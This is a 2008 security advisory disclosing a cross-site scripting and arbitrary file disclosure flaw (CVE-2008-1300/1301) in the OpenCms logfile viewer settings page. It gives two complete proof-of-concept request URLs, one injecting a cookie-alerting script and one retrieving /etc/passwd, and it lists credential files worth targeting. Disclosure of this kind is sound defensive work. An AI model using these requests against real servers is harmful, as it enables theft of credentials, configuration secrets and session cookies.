Topic : | Alkacon OpenCms logfileViewSettings.jsp XSS, file disclosure
|
SecurityAlert : 3731
CVE : CVE-2008-1300 CVE : CVE-2008-1301
SecurityRisk : Medium (About)
Remote Exploit : Yes
Local Exploit : No
Exploit Available : Yes
Credit : nnposter
Published : 12.03.2008
Affected Software : | Alkacon OpenCms |
 Advisory Content : Alkacon OpenCms logfileViewSettings.jsp XSS, file disclosure
Product: Alkacon OpenCms
http://www.opencms.org/
OpenCms contains a vulnerability in the Logfile Viewer Settings function.
Input to Parameter filePath.0 in page
opencms/system/workplace/admin/workplace/logfileview/logfileViewSettings
.jsp is not sufficiently validated and/or sanitized. This can be exploited
as a cross-site scripting issue but also as a file access issue, which
allows a disclosure of arbitrary files that are readable in the OS security
context of the JSP container process. The resulting page even has a
"Download" button, which facilitates retrieving binary files. Possible
targeted files could be /etc/passwd, /proc pseudo-files, Java keystore,
OpenCms configuration file (with database password), etc.
Only OpenCms users in administrator roles have access to the vulnerable
URL, which partially reduces the severity of the file disclosure aspect.
Example 1 (XSS):
http://(target)/opencms/system/workplace/admin/workplace/logfileview/log
fileViewSettings.jsp?
isLogfile.0=true&isLogfile.0.value=true&enabled.0=true&enabled.0.value=t
rue
&ok=Ok&action=save
&closelink=%252Fopencms%252Fopencms%252Fsystem%252Fworkplace%252Fviews%2
52Fadmin%252Fadmin-main.jsp%253Fpath%253D%252Fworkplace%252Flogfileview
&elementname=undefined&page=page1&style=new
&path=%252Fworkplace%252Flogfileview%252FlogfileViewSettings
&elementindex=0&framename=admin_content&windowSize.0=8000&fileEncoding.0
=UTF-8
&filePath.0=%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fs
cript%3E
Example 2 (retrieving /etc/passwd):
http://(target)/opencms/system/workplace/admin/workplace/logfileview/log
fileViewSettings.jsp?
isLogfile.0=true&isLogfile.0.value=true&enabled.0=true&enabled.0.value=t
rue
&ok=Ok&action=save
&closelink=%252Fopencms%252Fopencms%252Fsystem%252Fworkplace%252Fviews%2
52Fadmin%252Fadmin-main.jsp%253Fpath%253D%252Fworkplace%252Flogfileview
&elementname=undefined&page=page1&style=new
&path=%252Fworkplace%252Flogfileview%252FlogfileViewSettings
&elementindex=0&framename=admin_content&windowSize.0=8000&fileEncoding.0
=UTF-8
&filePath.0=%2Fetc%2Fpasswd
The vulnerability has been identified in version 7.0.3. However, other
versions may be also affected.
